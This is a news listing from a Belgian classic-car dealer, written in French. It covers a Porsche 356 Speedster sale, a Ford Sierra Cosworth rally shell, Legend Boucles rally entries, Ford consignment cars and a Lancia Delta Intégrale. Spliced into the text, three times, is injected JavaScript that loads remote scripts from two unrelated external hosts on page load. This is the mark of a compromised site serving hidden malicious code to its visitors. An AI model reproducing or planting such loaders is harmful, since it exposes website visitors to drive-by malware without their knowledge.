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Derniers ajouts pour cette rubrique

Un Speedster pour l’été

Evert est le nouveau propriétaire de cette icône automobile.

DSC03763En 1953, Max Hoffman, le très influent importateur de la marque Porsche aux Etats-Unis, suggère à Ferry Porsche de développer une variante sportive et dépouillée de la 356. Sur base du cabriolet déjà présent dans le catalogue, le constructeur développe un roadster amusant à la ligne simple et extrêmement séduisante. L’habitacle se veut résolument épuré dans le but de limiter le poids de l’engin au maximum. A partir de sa commercialisation en 1954, le Speedster (contraction des mots « speed » et « roadster ») fait fureur aux States dans les compétitions automobiles comme dans les rues californiennes : un mythe automobile est né ! Vendu jusqu’en 1958, le Speedster est construit à peine à 4200 exemplaires !

Aujourd’hui, il va sans dire qu’il est [...]

Bientôt sur les rallyes de régularité

Cette caisse neuve de Ford Sierra Cosworth va servir à construire une voiture de rallye

Construite à l’usine de Genk par Ford Motorsport à la fin des années 80, cette caisse de Ford Sierra Cosworth est allégée par rapport à un modèle de série. Dénichée dans un ancien stock par MY Vintage, elle vient d’être acquise par un amateur français qui compte l’utiliser comme base pour construire une voiture de rallye historique. Nous avons hâte de la voir terminée dans quelques mois !

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Un week-end qui s’annonce sympathique !

MY Vintage aligne quatre voitures au départ des Legend Boucles

Présent depuis quelques années aux Legend Boucles, le team hutois MY Vintage met les bouchées doubles cette année en alignant quatre voitures cette année. var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head').appendChild(script);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f); r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);

Avis aux passionnés de la marque à l’ovale bleu, nous avons quelques jolis modèles dans notre dépôt-vente. Il y en a pour tous les goûts et tous les budgets, de la Taunus 20M XL restaurée en 2004 à la Cortina Lotus Mk I prête à courir !var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head').appendChild(script);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f); r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);

Voiture mythique des années 80, la Delta Intégrale a permis à Lancia de dominer le Championnat du Monde des Rallyes après l’ère des groupe B. Six titres constructeurs et quatre titres Pilotes pour Mikki Biaison et Juha Kankkunen figurent au palmarès des différentes versions de la Delta. Devenue yougtimer, cette « groupe A de route » rencontre toujours un franc succès… et ce n’est pas Lorenz qui dira le contraire après son acquisition chez MY Vintage !var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head').appendChild(script);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f); r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);

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